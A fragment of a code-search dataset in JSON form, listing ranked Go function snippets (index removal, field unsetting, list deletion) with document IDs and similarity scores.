"9d4034711826710603c0f1cfcc9109f6", "score": "0.45669657", "text": "func MockTableRemoveIndex(t *statistics.Table) {\n\tdelete(t.Indices, int64(len(t.Indices)))\n}", "title": "" }, { "docid": "cd29d7ba887dc3383f54cf94b580b85e", "score": "0.45658207", "text": "func (o *Gvm) UnsetRefEntidade() {\n\to.RefEntidade.Unset()\n}", "title": "" }, { "docid": "807af38e3dba64e2b7c5aab6f09e5956", "score": "0.45654464", "text": "func (o *Gvm) UnsetUltimaComunicacao() {\n\to.UltimaComunicacao.Unset()\n}", "title": "" }, { "docid": "a34364831feecfb61846787a7d349650", "score": "0.4550327", "text": "func (o *RollupFieldFieldSerializerWithRelatedFields) UnsetArrayFormulaType() {\n\to.ArrayFormulaType.Unset()\n}", "title": "" }, { "docid": "5702dd1ffb9a650967551177f3048541", "score": "0.45415172", "text": "func (o *Gvm) UnsetRefLocal() {\n\to.RefLocal.Unset()\n}", "title": "" }, { "docid": "f0598bdc341036618ab1e5aece328833", "score": "0.45333204", "text": "func (tobf *TransactionsOrderedByFeeRate) RemoveAtIndex(index int) error {\n\tif index < 0 || index > len(tobf.slice)-1 {\n\t\treturn errors.Errorf(\"Index %d is out of bound of this TransactionsOrderedByFeeRate\", index)\n\t}\n\ttobf.slice = append(tobf.slice[:index], tobf.slice[index+1:]...)\n\treturn nil\n}", "title": "" }, { "docid": "b6cc13beaf04ac33c2266f7f8a5abd53", "score": "0.45308572", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerZipcode() {\n\to.PartnerZipcode.Unset()\n}", "title": "" }, { "docid": "c43a28be896d37f0d40280b8d4f46052", "score": "0.45224357", "text": "func (db *DB) RemoveIndex(indexName string) error {\n\tif db.e == nil || db.e.Scope.Value == nil {\n\t\treturn fmt.Errorf(\"missing model call db.Model(&Foo{}).RemoveIndex\")\n\t}\n\treturn db.Dialect().RemoveIndex(\n\t\tscope.TableName(db.e, db.e.Scope.Value), indexName)\n}", "title": "" }, { "docid": "9113db790fae22259cfe511b93e66562", "score": "0.45106065", "text": "func (o *VirtualizationIweHostInterface) UnsetBondState() {\n\to.BondState.Unset()\n}", "title": "" }, { "docid": "d8dfe056c076d99fce0158811eff1f1d", "score": "0.4503449", "text": "func (o *Gvm) UnsetNumeroSerie() {\n\to.NumeroSerie.Unset()\n}", "title": "" }, { "docid": "728eae77176f5f96233b9ae1c8962620", "score": "0.44888413", "text": "func (o *PortfolioUpdate) UnsetRiskLevel() {\n\to.RiskLevel.Unset()\n}", "title": "" }, { "docid": "e931e49c45a97a446649e8635c6cc3bc", "score": "0.44555265", "text": "func (df *DataFrame) ResetIndex(drop bool) *DataFrame {\n\tif !df.Index.IsCustom {\n\t\treturn df\n\t}\n\n\tvar modifiedDF *DataFrame\n\tif !drop {\n\t\tcurrentIndex := df.Index.Data\n\t\tmodifiedDF = df.WithColumn(currentIndex)\n\t} else {\n\t\tmodifiedDF = df.ShallowCopy()\n\t}\n\n\tindices := helpers.ToInterfaceFromInt(helpers.Range(0, df.length, 1))\n\tmodifiedDF.Index = Index{\n\t\tData: series.NewSeries(\"#\", indices...),\n\t\tIsCustom: false,\n\t}\n\n\treturn modifiedDF\n}", "title": "" }, { "docid": "08ce4703632d9df5c14aaf84a210c752", "score": "0.44449955", "text": "func (o *Gvm) UnsetIntensidadeSinal() {\n\to.IntensidadeSinal.Unset()\n}", "title": "" }, { "docid": "5100ad3bade11a58b8b6c4addac19cae", "score": "0.4441406", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerDisplayName() {\n\to.PartnerDisplayName.Unset()\n}", "title": "" }, { "docid": "925eec9cf31a834205427954e17f4362", "score": "0.43956795", "text": "func (_e *MilvusServiceServer_Expecter) DropIndex(_a0 interface{}, _a1 interface{}) *MilvusServiceServer_DropIndex_Call {\n\treturn &MilvusServiceServer_DropIndex_Call{Call: _e.mock.On(\"DropIndex\", _a0, _a1)}\n}", "title": "" }, { "docid": "d67ea7c7610d89fffcc4857c1123b9c0", "score": "0.43939465", "text": "func (n *IPNet) ReleaseVrfID(networkName string) (err error) {\n\treturn n.IDAlloc.ReleaseID(vrfPoolName, networkName)\n}", "title": "" }, { "docid": "2142565761e28579c2117462872b8ef3", "score": "0.43896645", "text": "func (f *ListenerStack) DeleteIndex(ind int) {\n\n\tif ind <= 0 && len(f.listeners) <= 0 {\n\t\treturn\n\t}\n\n\tf.lock.Lock()\n\tcopy(f.listeners[ind:], f.listeners[ind+1:])\n\tf.lock.Unlock()\n\n\tf.lock.RLock()\n\tf.listeners[len(f.listeners)-1] = nil\n\tf.lock.RUnlock()\n\n\tf.lock.Lock()\n\tf.listeners = f.listeners[:len(f.listeners)-1]\n\tf.lock.Unlock()\n}", "title": "" }, { "docid": "208dbd6bdf7d42f4939fcc9dfcff8ba6", "score": "0.43831104", "text": "func (o *Gvm) UnsetModelo() {\n\to.Modelo.Unset()\n}", "title": "" }, { "docid": "1dc2d3c18e2957fec1f184163827a367", "score": "0.43812153", "text": "func (i *Indexer) RemoveIndexForUser(m *model.User) error {\n\tif !i.active {\n\t\treturn nil\n\t}\n\t// upload updated object to Algolia\n\t_, err := i.userIndex.DeleteObject(m.ID.String())\n\treturn err\n}", "title": "" }, { "docid": "b49bffd0e6a8097642c67bd641085ef8", "score": "0.43803686", "text": "func NewVRFIndex(logger logging.Logger, title string) VRFMetadataIndexRW {\n\tmapping := idxvpp.NewNameToIndex(logger, title, indexMetadata)\n\treturn &vrfMetadataIndex{\n\t\tNamedMappingRW: mapping,\n\t\tlog: logger,\n\t\tnameToIndex: mapping,\n\t}\n}", "title": "" }, { "docid": "43a9a52894b0417c282eb3f019b0ff6f", "score": "0.43758258", "text": "func (l *List) RemoveIndex(index int) interface{} {\n\terr := l.checkIndex(index)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn nil\n\t}\n\tif index == 0 {\n\t\tresult := l.head.next.data\n\t\tl.head.next = l.head.next.next\n\t\tif l.size > 1 {\n\t\t\tl.head.next.next.prev = l.head.next\n\t\t}\n\t\tl.head.next.prev = nil\n\t\tl.size--\n\t\treturn result\n\t}\n\tcurrent := l.head.next\n\tfor x := 0; x < index-1; x++ {\n\t\tcurrent = current.next\n\t}\n\tremoved := current.next.data\n\tcurrent.next = current.next.next\n\tcurrent.next.prev = current\n\tl.size--\n\treturn removed\n}", "title": "" }, { "docid": "5b7f504164daa0c1d8f49b36d74c5d0e", "score": "0.4372284", "text": "func (m *LifecycleMgr) handleResetIndex(content []byte) error {\n\n\tinst, err := common.UnmarshallIndexInst(content)\n\tif err != nil {\n\t\tlogging.Errorf(\"LifecycleMgr.handleResetIndex() : Unable to unmarshall index instance. Reason = %v\", err)\n\t\treturn err\n\t}\n\n\tlogging.Infof(\"LifecycleMgr.handleResetIndex() : Reset Index %v\", inst.InstId)\n\n\tdefn := &inst.Defn\n\toldDefn, err := m.repo.GetIndexDefnById(defn.DefnId)\n\tif err != nil {\n\t\tlogging.Warnf(\"LifecycleMgr.handleResetIndex(): Failed to find index definition (%v, %v).\", defn.DefnId, defn.Bucket)\n\t\treturn err\n\t}\n\n\toldStorageMode := \"\"\n\tif oldDefn != nil {\n\t\toldStorageMode = string(oldDefn.Using)\n\t}\n\n\t//\n\t// Change storage mode in index definition\n\t//\n\n\tif err := m.repo.UpdateIndex(defn); err != nil {\n\t\tlogging.Errorf(\"LifecycleMgr.handleResetIndex() : Fails to upgrade index (%v, %v, %v, %v). Reason = %v\",\n\t\t\tdefn.Bucket, defn.Scope, defn.Collection, defn.Name, err)\n\t\treturn err\n\t}\n\n\t//\n\t// Restore index instance (as if index is created again)\n\t//\n\n\ttopology, err := m.repo.CloneTopologyByCollection(defn.Bucket, defn.Scope, defn.Collection)\n\tif err != nil {\n\t\tlogging.Errorf(\"LifecycleMgr.handleResetIndex() : Fails to upgrade index (%v, %v, %v, %v). Reason = %v\",\n\t\t\tdefn.Bucket, defn.Scope, defn.Collection, defn.Name, err)\n\t\treturn err\n\t}\n\n\trinst, err := m.FindLocalIndexInst(defn.Bucket, defn.Scope, defn.Collection, defn.DefnId, inst.InstId)\n\tif err != nil {\n\t\tlogging.Errorf(\"LifecycleMgr.handleResetIndex() : Fails to upgrade index (%v, %v, %v, %v). Reason = %v\",\n\t\t\tdefn.Bucket, defn.Scope, defn.Collection, defn.Name, err)\n\t\treturn err\n\t}\n\n\tif rinst == nil {\n\t\tlogging.Errorf(\"LifecycleMgr.handleResetIndex() : Fails to upgrade index (%v, %v, %v, %v). Index instance does not exist.\",\n\t\t\tdefn.Bucket, defn.Scope, defn.Collection, defn.Name)\n\t\treturn nil\n\t}\n\n\tif common.IndexState(rinst.State) == common.INDEX_STATE_INITIAL ||\n\t\tcommon.IndexState(rinst.State) == common.INDEX_STATE_CATCHUP ||\n\t\tcommon.IndexState(rinst.State) == common.INDEX_STATE_ACTIVE {\n\n\t\ttopology.UpdateScheduledFlagForIndexInst(defn.DefnId, inst.InstId, true)\n\t}\n\n\ttopology.UpdateOldStorageModeForIndexInst(defn.DefnId, inst.InstId, oldStorageMode)\n\ttopology.UpdateStorageModeForIndexInst(defn.DefnId, inst.InstId, string(defn.Using))\n\ttopology.UpdateStateForIndexInst(defn.DefnId, inst.InstId, common.INDEX_STATE_READY)\n\ttopology.SetErrorForIndexInst(defn.DefnId, inst.InstId, \"\")\n\ttopology.UpdateStreamForIndexInst(defn.DefnId, inst.InstId, common.NIL_STREAM)\n\n\tif err := m.repo.SetTopologyByCollection(defn.Bucket, defn.Scope, defn.Collection, topology); err != nil {\n\t\t// Topology update is in place. If there is any error, SetTopologyByCollection will purge the cache copy.\n\t\tlogging.Errorf(\"LifecycleMgr.handleResetIndex() : index instance (%v, %v, %v, %v) update fails. Reason = %v\",\n\t\t\tdefn.Bucket, defn.Scope, defn.Collection, defn.Name, err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "4c3324eab6ab7835752c8a3b612a3226", "score": "0.437224", "text": "func (v *Value) Unset() {\n\tv.unset()\n}", "title": "" }, { "docid": "78e928e4c617a1700984854f57b23af4", "score": "0.43642402", "text": "func (s *Store) DropIndex(fieldName string) error {\n\treturn s.Update(func(tx *Tx) error {\n\t\treturn tx.DropIndex(s.tableName, fieldName)\n\t})\n}", "title": "" }, { "docid": "5e8e778402d714ec58e3a975b8e33fa6", "score": "0.4357193", "text": "func (cv Canvas) UnsetAttr(attr rune) {\n\tC.caca_unset_attr(cv.Cv, C.uint32_t(attr))\n}", "title": "" }, { "docid": "678cdcc1c28f193879f2dd87fb260362", "score": "0.43509915", "text": "func (o *UpdateCustomer) UnsetAntifraudInfo() {\n\to.AntifraudInfo.Unset()\n}", "title": "" }, { "docid": "73ce14363f7d3ef4f1ed851fdafeae2a", "score": "0.4349055", "text": "func (m *GenericEMap) RemoveIndex(key interface{}, index interface{}) error {\n\tm.mtx.Lock()\n\tdefer m.mtx.Unlock()\n\n\treturn removeIndex(m.keys, m.indices, key, index)\n}", "title": "" }, { "docid": "5995ead69cdc743e450593ce1119294c", "score": "0.43338063", "text": "func (k Keeper) removeFromUnbatchedTXIndex(ctx sdk.Context, tokenContract string, fee sdk.Coin, txID uint64) error {\n\tstore := ctx.KVStore(k.storeKey)\n\tidxKey := types.GetFeeSecondIndexKey(tokenContract, fee)\n\tvar idSet types.IDSet\n\tbz := store.Get(idxKey)\n\tif bz == nil {\n\t\treturn sdkerrors.Wrap(types.ErrUnknown, \"fee\")\n\t}\n\tk.cdc.MustUnmarshalBinaryBare(bz, &idSet)\n\tfor i := range idSet.Ids {\n\t\tif idSet.Ids[i] == txID {\n\t\t\tidSet.Ids = append(idSet.Ids[0:i], idSet.Ids[i+1:]...)\n\t\t\tif len(idSet.Ids) != 0 {\n\t\t\t\tstore.Set(idxKey, k.cdc.MustMarshalBinaryBare(&idSet))\n\t\t\t} else {\n\t\t\t\tstore.Delete(idxKey)\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn sdkerrors.Wrap(types.ErrUnknown, \"tx id\")\n}", "title": "" }, { "docid": "43314a1e695f32a152a8b2c380484408", "score": "0.4325133", "text": "func (l *Loop) SetUnmarshallerIndex(i uint64) error {\n\tif i < l.GetIndex(UNMARSHALLER) {\n\t\treturn errors.New(\"New unmarshaller index cannot be less than \" +\n\t\t\t\"current index\")\n\t} else if i > l.GetIndex(REPLICATOR)-1 {\n\t\treturn errors.New(\"New unmarshaller index cannot be greater than the \" +\n\t\t\t\"current replicator index\")\n\t}\n\n\tl.index[UNMARSHALLER] = i\n\treturn nil\n}", "title": "" }, { "docid": "6abcc04253f85667052568ecafd8074a", "score": "0.43168497", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerPrefectureCode() {\n\to.PartnerPrefectureCode.Unset()\n}", "title": "" }, { "docid": "65016d9d44bce012fd5114fee235861c", "score": "0.43134987", "text": "func (o *StorageNetAppEthernetPortAllOf) UnsetNetAppEthernetPortVlan() {\n\to.NetAppEthernetPortVlan.Unset()\n}", "title": "" }, { "docid": "1fc0b3c1cab1421f207740b82cd7dd00", "score": "0.43123424", "text": "func (kv *KVPaxos) clear(forget int) {\n if forget > kv.forgetIdx {\n for key, val := range kv.idx2req {\n if key < forget {\n delete(kv.req, val)\n delete(kv.idx2req, key)\n delete(kv.req2idx, val)\n }\n }\n kv.forgetIdx = forget\n DPrintf(\"Forget index before %v on server %v\\n\", forget, kv.me)\n }\n}", "title": "" }, { "docid": "9a1dfaa279e2deaa222a237720e3efe4", "score": "0.43101463", "text": "func (iv *indexVector) Clear() {\n\tif len(*iv) > 0 {\n\t\t*iv = (*iv)[0:0]\n\t}\n}", "title": "" }, { "docid": "8bfbb2d0161c960d7b778d5f127efe43", "score": "0.43070272", "text": "func (bucket *CouchbaseBucketGoCB) DropIndex(indexName string) error {\n\treturn DropIndex(bucket, indexName)\n}", "title": "" }, { "docid": "d0da6ee7fd9baa561163a9b4183f838b", "score": "0.43068418", "text": "func (k Keeper) removeFromUnbatchedTXIndex(ctx sdk.Context, fee sdk.Coin, txID uint64) error {\n\tstore := ctx.KVStore(k.storeKey)\n\tidxKey := types.GetFeeSecondIndexKey(fee)\n\tvar idSet types.IDSet\n\tbz := store.Get(idxKey)\n\tif bz == nil {\n\t\treturn sdkerrors.Wrap(types.ErrUnknown, \"fee\")\n\t}\n\tk.cdc.MustUnmarshalBinaryBare(bz, &idSet)\n\tfor i := range idSet {\n\t\tif idSet[i] == txID {\n\t\t\tidSet = append(idSet[0:i], idSet[i+1:]...)\n\t\t\tif len(idSet) != 0 {\n\t\t\t\tstore.Set(idxKey, k.cdc.MustMarshalBinaryBare(idSet))\n\t\t\t} else {\n\t\t\t\tstore.Delete(idxKey)\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn sdkerrors.Wrap(types.ErrUnknown, \"tx id\")\n}", "title": "" }, { "docid": "bd597ea3bfae585a414fbe94c43acd39", "score": "0.43045425", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerCode() {\n\to.PartnerCode.Unset()\n}", "title": "" }, { "docid": "c66e03c3a4e74b52d7af5107e591fb73", "score": "0.43010753", "text": "func (f *ForbidAttr) Reverse() {\n\t// rank\n\tf.RankV = (f.Rank.AllArc << 2) | (f.Rank.RecentArc << 1) | f.Rank.Main\n\t// dynamic\n\tf.DynamicV = f.Dynamic.Main\n\t// recommend\n\tf.RecommendV = f.Recommend.Main\n\t// show\n\tf.ShowV = (f.Show.Online << 4) | (f.Show.Oversea << 3) | (f.Show.Web << 2) | (f.Show.Mobile << 1) | f.Show.Main\n}", "title": "" }, { "docid": "3ab1673ce2ccf4e61a0e1043c0cb8a37", "score": "0.42954952", "text": "func (b *Bool) Unset() { atomic.StoreInt32((*int32)(b), 0) }", "title": "" }, { "docid": "6e653b8577756fd3db602aa5bf11ec88", "score": "0.4292225", "text": "func (self *Collection) DropIndex(name string) os.Error {\n\tcmdm := map[string]string{\n\t\t\"deleteIndexes\": self.fullName(),\n\t\t\"index\": name,\n\t}\n\n\tcmd, err := Marshal(cmdm)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = self.db.Command(cmd)\n\treturn err\n}", "title": "" }, { "docid": "7f7b5f3e57e7e8d6ac50c2df81da473f", "score": "0.42869616", "text": "func (tk *Tokens) reset() {\n\ttk.Index = -1\n}", "title": "" }, { "docid": "b38f1548c2c1454555aac0f192e7404f", "score": "0.42782775", "text": "func (server *GripServer) DeleteIndex(ctx context.Context, idx *gripql.IndexID) (*gripql.EditResult, error) {\n\tgraph, err := server.db.Graph(idx.Graph)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = graph.DeleteVertexIndex(idx.Label, idx.Field)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &gripql.EditResult{Id: idx.Field}, nil\n}", "title": "" }, { "docid": "60bec196a3bdac262c68d68b32cb5945", "score": "0.42771274", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerName() {\n\to.PartnerName.Unset()\n}", "title": "" }, { "docid": "f3fece213a125d46351abef8426f8af6", "score": "0.42659062", "text": "func (v Vars) Unset(name string) {\n\tdelete(v, name)\n}", "title": "" }, { "docid": "a1b83680fb980c6a13bb5dc59321b8ba", "score": "0.42656565", "text": "func (i *Index) ResetBlacklist() {\n\ti.blacklist.Reset()\n}", "title": "" }, { "docid": "ad6cb19eb26d5e4433736f266692bf8a", "score": "0.42636937", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerContactInfo() {\n\to.PartnerContactInfo.Unset()\n}", "title": "" }, { "docid": "44ddcdbe8b3b52910450b0b7efcb1905", "score": "0.42577374", "text": "func (im *IndexMgr) deleteHsetIndex(db *RockDB, table string, field string) error {\n\t// this delete may not run in raft loop\n\t// so we should use new db write batch\n\tim.Lock()\n\tindexes, ok := im.tableIndexes[table]\n\tim.Unlock()\n\tif !ok {\n\t\treturn ErrIndexTableNotExist\n\t}\n\n\tindexes.Lock()\n\tdefer indexes.Unlock()\n\thindex, ok := indexes.hsetIndexes[field]\n\tif !ok {\n\t\treturn ErrIndexNotExist\n\t}\n\tif hindex.State != DeletedIndex {\n\t\treturn ErrIndexDeleteNotInDeleted\n\t}\n\tindexes.hsetIndexes[field] = nil\n\tdelete(indexes.hsetIndexes, field)\n\td, err := indexes.marshalHsetIndexes()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = db.SetTableHsetIndexValue([]byte(table), d)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "14694780ffa33048f56950428e7b9e7a", "score": "0.42574385", "text": "func (r *clusterRepository) RemoveFromIndex(locator loc.Locator) error {\n\tr.Infof(\"Removing %v from chart repo index.\", locator)\n\tindexFile, err := r.Backend.GetIndexFile()\n\tif err != nil && !trace.IsNotFound(err) {\n\t\treturn trace.Wrap(err)\n\t}\n\tif trace.IsNotFound(err) {\n\t\treturn nil\n\t}\n\tprevIndexFile := helmutils.CopyIndexFile(*indexFile)\nL:\n\tfor name, versions := range indexFile.Entries {\n\t\tif name != locator.Name {\n\t\t\tcontinue\n\t\t}\n\t\tfor i, version := range versions {\n\t\t\tif version.Version != locator.Version {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tindexFile.Entries[name] = append(\n\t\t\t\tversions[:i], versions[i+1:]...)\n\t\t\tif len(indexFile.Entries[name]) == 0 {\n\t\t\t\tdelete(indexFile.Entries, name)\n\t\t\t}\n\t\t\tbreak L\n\t\t}\n\t}\n\treturn r.Backend.CompareAndSwapIndexFile(indexFile, prevIndexFile)\n}", "title": "" }, { "docid": "12abeeab6b8e91f849b58ec8101f61a2", "score": "0.42574024", "text": "func (bm *bitMap) Unset(pos int) {\n\tbm.mux.Lock()\n\tdefer bm.mux.Unlock()\n\n\tbm.val.SetBit(&bm.val, pos, 0)\n}", "title": "" }, { "docid": "1f68dc6cae8f4c57cefe060803d53d83", "score": "0.42547005", "text": "func (o *InvoiceIndexResponseInvoices) UnsetWebConfirmedAt() {\n\to.WebConfirmedAt.Unset()\n}", "title": "" }, { "docid": "bd06b1b0c0a6f7401786aa9a029d184f", "score": "0.42472622", "text": "func (o *Customer) UnsetAntifraudInfo() {\n\to.AntifraudInfo.Unset()\n}", "title": "" }, { "docid": "f8107e3b33d311efdd958ad65a02d2ce", "score": "0.42413795", "text": "func (h *NetLinkHandler) RemoveInterfaceFromVRF(ifName, vrfDevName string) error {\n\tifLink, err := h.GetLinkByName(ifName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := h.LinkSetNoMaster(ifLink); err != nil {\n\t\treturn errors.Wrapf(err, \"LinkSetNoMaster (interface=%s, vrf=%s)\",\n\t\t\tifName, vrfDevName)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "abedbe7dbd6c2f2f2bc36559593543d3", "score": "0.42391467", "text": "func (o *EntityWatchlistSearchTerms) UnsetPhoneNumber() {\n\to.PhoneNumber.Unset()\n}", "title": "" }, { "docid": "e4061a81c2cdf6a69271083c52b710b9", "score": "0.42323512", "text": "func (l *ListtoList) RemoveIndex(index int) string {\n\tif index > len(l.List) {\n\t\treturn \"\"\n\t}\n\n\tname := l.List[index].Value\n\tl.List = append(l.List[:index], l.List[index+1:]...)\n\n\treturn name\n}", "title": "" }, { "docid": "7448da8bbd79f3290cdd5da91d21527c", "score": "0.42322803", "text": "func (v *NullableFormulaAndFunctionResponseFormat) Unset() {\n\tv.value = nil\n\tv.isSet = false\n}", "title": "" }, { "docid": "1d44813f53b0e8464737d8378f0fc1f0", "score": "0.4231531", "text": "func (o *CustomVenda) UnsetRefCompartimentoProduto() {\n\to.RefCompartimentoProduto.Unset()\n}", "title": "" }, { "docid": "f25386d622ceefd45a8044533f4b1e13", "score": "0.42251605", "text": "func (vrfm *VRFMetadata) GetIndex() uint32 {\n\treturn vrfm.Index\n}", "title": "" }, { "docid": "13b19924b15e6ae65e224b946b12afa3", "score": "0.42241699", "text": "func (e *Base) RemoveIndex(s []float64, index int) []float64 {\n\treturn append(s[:index], s[index+1:]...)\n}", "title": "" }, { "docid": "027e72973744e02f7d3c740b0f2ce0b1", "score": "0.42232448", "text": "func ResetIndexes(stub shim.ChaincodeStubInterface) error {\n\tindexes := indexStrings\n\tlogger.Infof(\"indexes: %v\", indexes)\n\tfor _, v := range indexes {\n\t\t// Marshal the index\n\t\temptyIndex := make(map[string]bool)\n\n\t\tempty, err := json.Marshal(emptyIndex)\n\t\tif err != nil {\n\t\t\treturn errors.New(\"Error marshalling\")\n\t\t}\n\t\terr = stub.PutState(v, empty)\n\n\t\tif err != nil {\n\t\t\treturn errors.New(\"Error deleting index\")\n\t\t}\n\t\tlogger.Debugf(\"Delete with success from ledger: \" + v)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e372368891770df3769be7e971689aa8", "score": "0.42205065", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerPrefectureName() {\n\to.PartnerPrefectureName.Unset()\n}", "title": "" }, { "docid": "aecfbe83542994f21e29571e7f47289f", "score": "0.42175627", "text": "func (tri *Triangulator) removeEdgesFromVertexIndex(toRemove map[*quadedge.QuadEdge]bool, v quadedge.Vertex) error {\n\tve := tri.vertexIndex[v]\n\tif toRemove[ve] {\n\t\tfor testEdge := ve.ONext(); ; testEdge = testEdge.ONext() {\n\t\t\tif testEdge == ve {\n\t\t\t\t// if we made it all the way around the vertex without finding\n\t\t\t\t// a valid edge to reference from this vertex\n\t\t\t\treturn ErrUnableToUpdateVertexIndex\n\t\t\t}\n\t\t\tif toRemove[testEdge] == false {\n\t\t\t\ttri.vertexIndex[v] = testEdge\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\t// this should happen if the vertex doesn't need to be updated.\n\treturn nil\n}", "title": "" }, { "docid": "e5064e72fb878fbe6e8370dfdb4e0cfc", "score": "0.42125115", "text": "func DropTxIndex(db database.DB, interrupt <-chan struct{}) error {\n\terr := dropIndex(db, addrIndexKey, addrIndexName, interrupt)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn dropIndex(db, txIndexKey, txIndexName, interrupt)\n}", "title": "" }, { "docid": "9338ec0db7baeb78ae5a47e95b2437c1", "score": "0.4207468", "text": "func (r *Refs) DeleteByIndex(\n\tpack Pack, // : pack to load and save\n\ti int, // : index to delete\n) (\n\terr error, // : error if any\n) {\n\n\tif err = r.initialize(pack); err != nil {\n\t\treturn\n\t}\n\n\tif err = validateIndex(i, r.length); err != nil {\n\t\treturn\n\t}\n\n\tif err = r.deleteElementByIndex(pack, r.refsNode, i, r.depth); err != nil {\n\t\treturn // an error\n\t}\n\n\tif err = r.updateHashIfNeed(pack, r.flags&LazyUpdating == 0); err != nil {\n\t\treturn // an error\n\t}\n\n\tr.rewindIterators() // for iterators\n\treturn\n}", "title": "" }, { "docid": "06441fc7b1f657a8f689d2fd7988771f", "score": "0.4201186", "text": "func (o *StringWorldOrdered) RemoveIndex(idx int) (cell StringWorldCapsule) {\n\tcell = o.s[idx]\n\tdelete(o.m, o.s[idx].K)\n\to.shift(idx+1, len(o.s), -1)\n\to.s = append(o.s[:idx], o.s[idx+1:]...)\n\treturn\n}", "title": "" }, { "docid": "067ed55900a0a26dcd5421e1682f151d", "score": "0.41935128", "text": "func (mtuo *MerchantTransactionUpdateOne) ClearVATTHB() *MerchantTransactionUpdateOne {\n\tmtuo.mutation.ClearVATTHB()\n\treturn mtuo\n}", "title": "" } ]
1873109d319c6c8f17649e54fdfc1184
SDKResponseMetdata return sthe response metadata for the API.
[ { "docid": "4449ac333c52937a84513aff8a154bce", "score": "0.0", "text": "func (s StartPipelineReprocessingOutput) SDKResponseMetadata() aws.Response {\n\treturn s.responseMetadata\n}", "title": "" } ]
[ { "docid": "94b139408d9f8873ad30da41405f6522", "score": "0.7898695", "text": "func (r *GetApiCacheResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "1726f5891481d5ad76a83d5200138a6a", "score": "0.7872954", "text": "func (r *GetDiscoverySummaryResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "7a2c8a26917de01061ab926df3a5da64", "score": "0.7853477", "text": "func (r *GetTableMetadataResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "9aa9aae8b9222e58e1f26d2f9a0a7be4", "score": "0.7825035", "text": "func (r *GetCampaignVersionResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "a3cd966a0c635335091ffa69a4b254dc", "score": "0.78039145", "text": "func (r *DescribeDetectorResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "eceba0b5bec2187f11ef4449418b1e44", "score": "0.78012115", "text": "func (r *GetInstanceMetricDataResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "f6c48d32c2c3d0be01e2dd9dba39d9d5", "score": "0.7762859", "text": "func (r *MeterUsageResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "87391294b969c91d2fd1e8e99cea4136", "score": "0.77619284", "text": "func (r *GetUsageStatisticsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "39960c07b63e938be981dbc0979d4817", "score": "0.77602303", "text": "func (r *OutputService12TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "107c91f4726db9d88d2fb2215e1c25b7", "score": "0.7748897", "text": "func (r *OutputService1TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "107c91f4726db9d88d2fb2215e1c25b7", "score": "0.7748897", "text": "func (r *OutputService1TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "d7e3ed74d2d4014b324ee1f7f1073284", "score": "0.77416736", "text": "func (r *GetUserResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "db4d671f15a2bc39edfb2d268e7d686b", "score": "0.77365375", "text": "func (r *CreateApiKeyResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "4b5c9a21ea8b53eeb3ef6d563db014e4", "score": "0.77322185", "text": "func (r *GetDevicesResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "161916b112c0cfcaa692541cb330492d", "score": "0.7720971", "text": "func (r *InputService1TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "8c20de66fbd997167d22c0c295ec4acd", "score": "0.7718199", "text": "func (r *GetInstanceAccessDetailsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "4d9b1c4668ffddfc36fb7a0da7d73b32", "score": "0.77161425", "text": "func (r *DescribeVoicesResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "5c22c4a6cc1235442cdb989814c40a43", "score": "0.77143025", "text": "func (r *OutputService6TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "5c22c4a6cc1235442cdb989814c40a43", "score": "0.77143025", "text": "func (r *OutputService6TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "b76b770bb9e90eb8a5d3e9c9007fb459", "score": "0.7714219", "text": "func (r *UpdatePipelineNotificationsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "9a98804525a3aefdf5eadb3333e69b65", "score": "0.77106225", "text": "func 